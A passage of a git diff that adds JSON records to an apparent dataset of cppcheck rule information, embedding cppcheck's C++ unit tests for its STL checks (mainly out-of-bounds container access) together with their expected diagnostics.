\"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (portability) 'foo[1].data' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\", errout_str());\n\n check(\"struct FOO {\\n\"\n \" void *data;\\n\"\n \"};\\n\"\n \"void f2(struct FOO* foo) {\\n\"\n \" (foo[0]).data++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:16]: (portability) '(foo[0]).data' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\", errout_str());\n\n // #6050 arithmetic on void**\n check(\"void* array[10];\\n\"\n \"void** b = array + 3;\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void customStrncat() {\n // Ensure we don't crash on custom-defined strncat, ticket #5875\n check(\"char strncat ();\\n\"\n \"int main () {\\n\"\n \" return strncat ();\\n\"\n \"}\");\n }\n\n};\n\nREGISTER_TEST(TestSizeof)\n\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/checkDereferenceInvalidIterator.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/checkDereferenceInvalidIterator.json new file mode 100644 index 0000000..c161c72 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/checkDereferenceInvalidIterator.json @@ -0,0 +1,23 @@ +{ + "name": "checkDereferenceInvalidIterator", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 141, + "branches": 53, + "apis": 116, + "test": [ + { + "description": null, + "expected-problems": 2, + "expected-linenumbers": [ + 4801, + 5206 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checkstl.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"settings.h\"\n#include \"standards.h\"\n#include \"utils.h\"\n\n#include \n#include \n\nclass TestStl : public TestFixture {\npublic:\n TestStl() : TestFixture(\"TestStl\") {}\n\nprivate:\n /*const*/ Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::style).severity(Severity::performance).library(\"std.cfg\").build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(outOfBounds);\n TEST_CASE(outOfBoundsSymbolic);\n TEST_CASE(outOfBoundsIndexExpression);\n TEST_CASE(outOfBoundsIterator);\n\n TEST_CASE(iterator1);\n TEST_CASE(iterator2);\n TEST_CASE(iterator3);\n TEST_CASE(iterator4);\n TEST_CASE(iterator5);\n TEST_CASE(iterator6);\n TEST_CASE(iterator7);\n TEST_CASE(iterator8);\n TEST_CASE(iterator9);\n TEST_CASE(iterator10);\n TEST_CASE(iterator11);\n TEST_CASE(iterator12);\n TEST_CASE(iterator13);\n TEST_CASE(iterator14); // #8191\n TEST_CASE(iterator15); // #8341\n TEST_CASE(iterator16);\n TEST_CASE(iterator17);\n TEST_CASE(iterator18);\n TEST_CASE(iterator19);\n TEST_CASE(iterator20);\n TEST_CASE(iterator21);\n TEST_CASE(iterator22);\n TEST_CASE(iterator23);\n TEST_CASE(iterator24);\n TEST_CASE(iterator25); // #9742\n TEST_CASE(iterator26); // #9176\n TEST_CASE(iterator27); // #10378\n TEST_CASE(iterator28); // #10450\n TEST_CASE(iterator29);\n TEST_CASE(iterator30);\n TEST_CASE(iterator31);\n TEST_CASE(iteratorExpression);\n TEST_CASE(iteratorSameExpression);\n TEST_CASE(mismatchingContainerIterator);\n TEST_CASE(eraseIteratorOutOfBounds);\n\n TEST_CASE(dereference);\n TEST_CASE(dereference_break); // #3644 - handle \"break\"\n TEST_CASE(dereference_member);\n\n TEST_CASE(STLSize);\n TEST_CASE(STLSizeNoErr);\n TEST_CASE(negativeIndex);\n TEST_CASE(negativeIndexMultiline);\n TEST_CASE(erase1);\n TEST_CASE(erase2);\n TEST_CASE(erase3);\n TEST_CASE(erase4);\n TEST_CASE(erase5);\n TEST_CASE(erase6);\n TEST_CASE(eraseBreak);\n TEST_CASE(eraseContinue);\n TEST_CASE(eraseReturn1);\n TEST_CASE(eraseReturn2);\n TEST_CASE(eraseReturn3);\n TEST_CASE(eraseGoto);\n TEST_CASE(eraseAssign1);\n TEST_CASE(eraseAssign2);\n TEST_CASE(eraseAssign3);\n TEST_CASE(eraseAssign4);\n TEST_CASE(eraseAssignByFunctionCall);\n TEST_CASE(eraseErase);\n TEST_CASE(eraseByValue);\n TEST_CASE(eraseIf);\n TEST_CASE(eraseOnVector);\n\n TEST_CASE(pushback1);\n TEST_CASE(pushback2);\n TEST_CASE(pushback3);\n TEST_CASE(pushback4);\n TEST_CASE(pushback5);\n TEST_CASE(pushback6);\n TEST_CASE(pushback7);\n TEST_CASE(pushback8);\n TEST_CASE(pushback9);\n TEST_CASE(pushback10);\n TEST_CASE(pushback11);\n TEST_CASE(pushback12);\n TEST_CASE(pushback13);\n TEST_CASE(insert1);\n TEST_CASE(insert2);\n TEST_CASE(popback1);\n\n TEST_CASE(stlBoundaries1);\n TEST_CASE(stlBoundaries2);\n TEST_CASE(stlBoundaries3);\n TEST_CASE(stlBoundaries4); // #4364\n TEST_CASE(stlBoundaries5); // #4352\n TEST_CASE(stlBoundaries6); // #7106\n\n // if (str.find(\"ab\"))\n TEST_CASE(if_find);\n TEST_CASE(if_str_find);\n\n TEST_CASE(size1);\n TEST_CASE(size2);\n TEST_CASE(size3);\n TEST_CASE(size4); // #2652 - don't warn about vector/deque\n\n // Redundant conditions..\n // if (ints.find(123) != ints.end()) ints.remove(123);\n TEST_CASE(redundantCondition1);\n\n // missing inner comparison when incrementing iterator inside loop\n TEST_CASE(missingInnerComparison1);\n TEST_CASE(missingInnerComparison2); // no FP when there is comparison\n TEST_CASE(missingInnerComparison3); // no FP when there is iterator shadowing\n TEST_CASE(missingInnerComparison4); // no FP when \"break;\" is used\n TEST_CASE(missingInnerComparison5); // Ticket #2154 - FP\n TEST_CASE(missingInnerComparison6); // #2643 - 'it=foo.insert(++it,0);'\n\n // catch common problems when using the string::c_str() function\n TEST_CASE(cstr);\n\n TEST_CASE(uselessCalls);\n TEST_CASE(stabilityOfChecks); // #4684 cppcheck crash in template function call\n\n TEST_CASE(dereferenceInvalidIterator);\n TEST_CASE(dereferenceInvalidIterator2); // #6572\n TEST_CASE(dereference_auto);\n\n TEST_CASE(loopAlgoElementAssign);\n TEST_CASE(loopAlgoAccumulateAssign);\n TEST_CASE(loopAlgoContainerInsert);\n TEST_CASE(loopAlgoIncrement);\n TEST_CASE(loopAlgoConditional);\n TEST_CASE(loopAlgoMinMax);\n TEST_CASE(loopAlgoMultipleReturn);\n\n TEST_CASE(invalidContainer);\n TEST_CASE(invalidContainerLoop);\n TEST_CASE(findInsert);\n\n TEST_CASE(checkKnownEmptyContainer);\n TEST_CASE(checkMutexes);\n }\n\n struct CheckOptions\n {\n CheckOptions() = default;\n bool inconclusive = false;\n Standards::cppstd_t cppstandard = Standards::CPPLatest;\n };\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size], const CheckOptions& options = make_default_obj()) {\n const Settings settings1 = settingsBuilder(settings).certainty(Certainty::inconclusive, options.inconclusive).cpp(options.cppstandard).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n runChecks(tokenizer, this);\n }\n\n // TODO: get rid of this\n void check_(const char* file, int line, const std::string& code) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n runChecks(tokenizer, this);\n }\n\n#define checkNormal(code) checkNormal_(code, __FILE__, __LINE__)\n template\n void checkNormal_(const char (&code)[size], const char* file, int line) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n }\n\n void outOfBounds() {\n setMultiline();\n\n checkNormal(\"bool f(const int a, const int b)\\n\" // #8648\n \"{\\n\"\n \" std::cout << a << b;\\n\"\n \" return true;\\n\"\n \"}\\n\"\n \"void f(const std::vector &v)\\n\"\n \"{\\n\"\n \" if(v.size() >=2 &&\\n\"\n \" bar(v[2], v[3]) )\\n\" // v[3] is accessed\n \" {;}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:18]: warning: Either the condition 'v.size()>=2' is redundant or size of 'v' can be 2. Expression 'v[2]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:8:17]: note: condition 'v.size()>=2'\\n\"\n \"[test.cpp:9:18]: note: Access out of bounds\\n\"\n \"[test.cpp:9:24]: warning: Either the condition 'v.size()>=2' is redundant or size of 'v' can be 2. Expression 'v[3]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:8:17]: note: condition 'v.size()>=2'\\n\"\n \"[test.cpp:9:24]: note: Access out of bounds\\n\", errout_str());\n\n checkNormal(\"void f() {\\n\"\n \" std::string s;\\n\"\n \" s[10] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:4]: error: Out of bounds access in expression 's[10]' because 's' is empty. [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f() {\\n\"\n \" std::string s = \\\"abcd\\\";\\n\"\n \" s[10] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:4]: error: Out of bounds access in 's[10]', if 's' size is 4 and '10' is 10 [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f(std::vector v) {\\n\"\n \" v.front();\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: warning: Either the condition 'v.empty()' is redundant or expression 'v.front()' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:3:16]: note: condition 'v.empty()'\\n\"\n \"[test.cpp:2:12]: note: Access out of bounds\\n\", errout_str());\n\n checkNormal(\"void f(std::vector v) {\\n\"\n \" if (v.size() == 3) {}\\n\"\n \" v[16] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: warning: Either the condition 'v.size()==3' is redundant or size of 'v' can be 3. Expression 'v[16]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:18]: note: condition 'v.size()==3'\\n\"\n \"[test.cpp:3:6]: note: Access out of bounds\\n\", errout_str());\n\n checkNormal(\"void f(std::vector v) {\\n\"\n \" int i = 16;\\n\"\n \" if (v.size() == 3) {\\n\"\n \" v[i] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: warning: Either the condition 'v.size()==3' is redundant or size of 'v' can be 3. Expression 'v[i]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:3:18]: note: condition 'v.size()==3'\\n\"\n \"[test.cpp:4:10]: note: Access out of bounds\\n\", errout_str());\n\n checkNormal(\"void f(std::vector v, int i) {\\n\"\n \" if (v.size() == 3 || i == 16) {}\\n\"\n \" v[i] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(std::map x) {\\n\"\n \" if (x.empty()) { x[1] = 2; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(std::string s) {\\n\"\n \" if (s.size() == 1) {\\n\"\n \" s[2] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: warning: Either the condition 's.size()==1' is redundant or size of 's' can be 1. Expression 's[2]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:18]: note: condition 's.size()==1'\\n\"\n \"[test.cpp:3:10]: note: Access out of bounds\\n\", errout_str());\n\n // Do not crash\n checkNormal(\"void a() {\\n\"\n \" std::string b[];\\n\"\n \" for (auto c : b)\\n\"\n \" c.data();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"std::string f(std::string x) {\\n\"\n \" if (x.empty()) return {};\\n\"\n \" x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"std::string f(std::string x) {\\n\"\n \" if (x.empty()) return std::string{};\\n\"\n \" x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f() {\\n\"\n \" std::string s;\\n\"\n \" x = s.begin() + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:17]: error: Out of bounds access in expression 's.begin()+1' because 's' is empty. [containerOutOfBounds]\\n\"\n \"[test.cpp:3:17]: error: Out of bounds access in expression 's.begin()+1' because 's' is empty. [containerOutOfBounds]\\n\", // duplicate\n errout_str());\n\n checkNormal(\"void f(int x) {\\n\"\n \" std::string s;\\n\"\n \" auto it = s.begin() + x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: error: Out of bounds access in expression 's.begin()+x' because 's' is empty and 'x' may be non-zero. [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"char fstr1(){const std::string s = \\\"\\\"; return s[42]; }\\n\"\n \"wchar_t fwstr1(){const std::wstring s = L\\\"\\\"; return s[42]; }\");\n ASSERT_EQUALS(\"[test.cpp:1:54]: error: Out of bounds access in 's[42]', if 's' size is 6 and '42' is 42 [containerOutOfBounds]\\n\"\n \"[test.cpp:2:60]: error: Out of bounds access in 's[42]', if 's' size is 6 and '42' is 42 [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"char fstr1(){const std::string s = \\\"\\\"; return s[1]; }\\n\"\n \"wchar_t fwstr1(){const std::wstring s = L\\\"\\\"; return s[1]; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" std::vector * pv = &v;\\n\"\n \" return (*pv)[42];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: error: Out of bounds access in expression '(*pv)[42]' because '*pv' is empty. [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f() {\\n\"\n \" std::string s;\\n\"\n \" ++abc[s];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // # 9274\n checkNormal(\"char f(bool b) {\\n\"\n \" const std::string s = \\\"\\\";\\n\"\n \" int x = 6;\\n\"\n \" if(b) ++x;\\n\"\n \" return s[x];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: error: Out of bounds access in 's[x]', if 's' size is 6 and 'x' is 6 [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f() {\\n\"\n \" static const int N = 4;\\n\"\n \" std::array x;\\n\"\n \" x[0] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(bool b) {\\n\"\n \" std::vector x;\\n\"\n \" if (b)\\n\"\n \" x.push_back(1);\\n\"\n \" if (x.size() < 2)\\n\"\n \" return;\\n\"\n \" x[0] = 2;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(bool b) {\\n\"\n \" std::vector v;\\n\"\n \" if(v.at(b?42:0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:12]: error: Out of bounds access in expression 'v.at(b?42:0)' because 'v' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n checkNormal(\"void f(std::vector v, bool b){\\n\"\n \" if (v.size() == 1)\\n\"\n \" if(v.at(b?42:0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:16]: warning: Either the condition 'v.size()==1' is redundant or size of 'v' can be 1. Expression 'v.at(b?42:0)' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:18]: note: condition 'v.size()==1'\\n\"\n \"[test.cpp:3:16]: note: Access out of bounds\\n\",\n errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" T t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s = { { &ArrS } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" std::vector t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s = { { { &ArrS } } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" std::vector> t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s = { { { { &ArrS } } } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" T t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s { { &ArrS } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" std::vector t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s { { { &ArrS } } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" std::vector> t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s { { { { &ArrS } } } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"extern void Bar(const double, const double);\\n\"\n \"void f(std::vector &r, const double ) {\\n\"\n \" std::vector result;\\n\"\n \" double d = 0.0;\\n\"\n \" const double inc = 0.1;\\n\"\n \" for(unsigned int i = 0; i < 10; ++i) {\\n\"\n \" result.push_back(d);\\n\"\n \" d = (i + 1) * inc;\\n\"\n \" }\\n\"\n \" Bar(1.0, d);\\n\"\n \" Bar(10U, result.size());\\n\"\n \" Bar(0.0, result[0]);\\n\"\n \" Bar(0.34, result[1]);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(size_t entries) {\\n\"\n \" std::vector v;\\n\"\n \" if (v.size() < entries + 2)\\n\"\n \" v.resize(entries + 2);\\n\"\n \" v[0] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(size_t entries) {\\n\"\n \" std::vector v;\\n\"\n \" if (v.size() < entries)\\n\"\n \" v.resize(entries);\\n\"\n \" v[0] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:6]: error: Out of bounds access in expression 'v[0]' because 'v' is empty. [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f(size_t entries) {\\n\"\n \" if (entries < 2) return;\\n\"\n \" std::vector v;\\n\"\n \" if (v.size() < entries)\\n\"\n \" v.resize(entries);\\n\"\n \" v[0] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(size_t entries) {\\n\"\n \" if (entries == 0) return;\\n\"\n \" std::vector v;\\n\"\n \" if (v.size() < entries)\\n\"\n \" v.resize(entries);\\n\"\n \" v[0] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void foo(std::vector* PArr, int n) {\\n\"\n \" std::vector Arr;\\n\"\n \" if (!PArr)\\n\"\n \" PArr = &Arr;\\n\"\n \" PArr->resize(n);\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" (*PArr)[i] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" std::vector * pv = &v;\\n\"\n \" return (*pv).at(42);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: error: Out of bounds access in expression '(*pv).at(42)' because '*pv' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n checkNormal(\"std::string f(const char* DirName) {\\n\"\n \" if (DirName == nullptr)\\n\"\n \" return {};\\n\"\n \" std::string Name{ DirName };\\n\"\n \" if (!Name.empty() && Name.back() != '\\\\\\\\')\\n\"\n \" Name += '\\\\\\\\';\\n\"\n \" return Name;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"bool f(bool b) {\\n\"\n \" std::vector v;\\n\"\n \" if (b)\\n\"\n \" v.push_back(0);\\n\"\n \" for(auto i:v)\\n\"\n \" if (v[i] > 0)\\n\"\n \" return true;\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:3]: style: Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n checkNormal(\"std::vector range(int n);\\n\"\n \"bool f(bool b) {\\n\"\n \" std::vector v;\\n\"\n \" if (b)\\n\"\n \" v.push_back(1);\\n\"\n \" assert(range(v.size()).size() == v.size());\\n\"\n \" for(auto i:range(v.size()))\\n\"\n \" if (v[i] > 0)\\n\"\n \" return true;\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:3]: style: Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n checkNormal(\"bool g();\\n\"\n \"int f(int x) {\\n\"\n \" std::vector v;\\n\"\n \" if (g())\\n\"\n \" v.emplace_back(x);\\n\"\n \" const auto n = (int)v.size();\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" if (v[i] > 0)\\n\"\n \" return i;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:0]: style: Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n checkNormal(\"bool g();\\n\"\n \"int f(int x) {\\n\"\n \" std::vector v;\\n\"\n \" if (g())\\n\"\n \" v.emplace_back(x);\\n\"\n \" const auto n = static_cast(v.size());\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" if (v[i] > 0)\\n\"\n \" return i;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:0]: style: Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n checkNormal(\"bool g();\\n\"\n \"void f(int x) {\\n\"\n \" std::vector v;\\n\"\n \" if (g())\\n\"\n \" v.emplace_back(x);\\n\"\n \" const int n = v.size();\\n\"\n \" h(n);\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" h(v[i]);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void foo(const std::vector &v) {\\n\"\n \" if(v.size() >=1 && v[0] == 4 && v[1] == 2){}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:38]: warning: Either the condition 'v.size()>=1' is redundant or size of 'v' can be 1. Expression 'v[1]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:17]: note: condition 'v.size()>=1'\\n\"\n \"[test.cpp:2:38]: note: Access out of bounds\\n\", errout_str());\n\n checkNormal(\"int f(int x, int y) {\\n\"\n \" std::vector a = {0,1,2};\\n\"\n \" if(x<2)\\n\"\n \" y = a[x] + 1;\\n\"\n \" else\\n\"\n \" y = a[x];\\n\"\n \" return y;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:6:14]: warning: Either the condition 'x<2' is redundant or 'x' can have the value greater or equal to 3. Expression 'a[x]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:3:9]: note: condition 'x<2'\\n\"\n \"[test.cpp:6:14]: note: Access out of bounds\\n\",\n errout_str());\n\n checkNormal(\"int f(std::vector v) {\\n\"\n \" if (v.size() > 3)\\n\"\n \" return v[v.size() - 3];\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(std::vector v) {\\n\"\n \" v[v.size() - 1];\\n\"\n \" if (v.size() == 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(int n) {\\n\"\n \" std::vector v = {1, 2, 3, 4};\\n\"\n \" const int i = qMin(n, v.size());\\n\"\n \" if (i > 1)\\n\"\n \" v[i] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(std::vector& v, int i) {\\n\"\n \" if (i > -1) {\\n\"\n \" v.erase(v.begin() + i);\\n\"\n \" if (v.empty()) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void g(const char *, ...) { exit(1); }\\n\" // #10025\n \"void f(const char c[]) {\\n\"\n \" std::vector v = get();\\n\"\n \" if (v.empty())\\n\"\n \" g(\\\"\\\", c[0]);\\n\"\n \" return h(&v[0], v.size()); \\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(int i, std::vector v) {\\n\" // #9157\n \" if (i <= (int)v.size()) {\\n\"\n \" if (v[i]) {}\\n\"\n \" }\\n\"\n \" if (i <= static_cast(v.size())) {\\n\"\n \" if (v[i]) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: warning: Either the condition 'i<=(int)v.size()' is redundant or 'i' can have the value v.size(). Expression 'v[i]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:11]: note: condition 'i<=(int)v.size()'\\n\"\n \"[test.cpp:3:14]: note: Access out of bounds\\n\"\n \"[test.cpp:6:14]: warning: Either the condition 'i<=static_cast(v.size())' is redundant or 'i' can have the value v.size(). Expression 'v[i]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:5:11]: note: condition 'i<=static_cast(v.size())'\\n\"\n \"[test.cpp:6:14]: note: Access out of bounds\\n\",\n errout_str());\n\n check(\"template\\n\"\n \"void b(Iterator d) {\\n\"\n \" std::string c = \\\"a\\\";\\n\"\n \" d + c.length();\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" std::string buf;\\n\"\n \" b(buf.begin());\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:5]: error: Out of bounds access in expression 'd+c.length()' because 'buf' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"template\\n\"\n \"void b(Iterator d) {\\n\"\n \" std::string c = \\\"a\\\";\\n\"\n \" sort(d, d + c.length());\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" std::string buf;\\n\"\n \" b(buf.begin());\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector &v) {\\n\"\n \" return !v.empty() ? 42 : v.back();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:2:36]: warning: Either the condition 'v.empty()' is redundant or expression 'v.back()' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:20]: note: condition 'v.empty()'\\n\"\n \"[test.cpp:2:36]: note: Access out of bounds\\n\",\n errout_str());\n\n check(\"std::vector g() {\\n\" // #10779\n \" std::vector v(10);\\n\"\n \" for(int i = 0; i <= 10; ++i)\\n\"\n \" v[i] = 42;\\n\"\n \" return v;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: error: Out of bounds access in 'v[i]', if 'v' size is 10 and 'i' is 10 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int s = 2;\\n\"\n \" std::vector v(s);\\n\"\n \" v[100] = 1;\\n\"\n 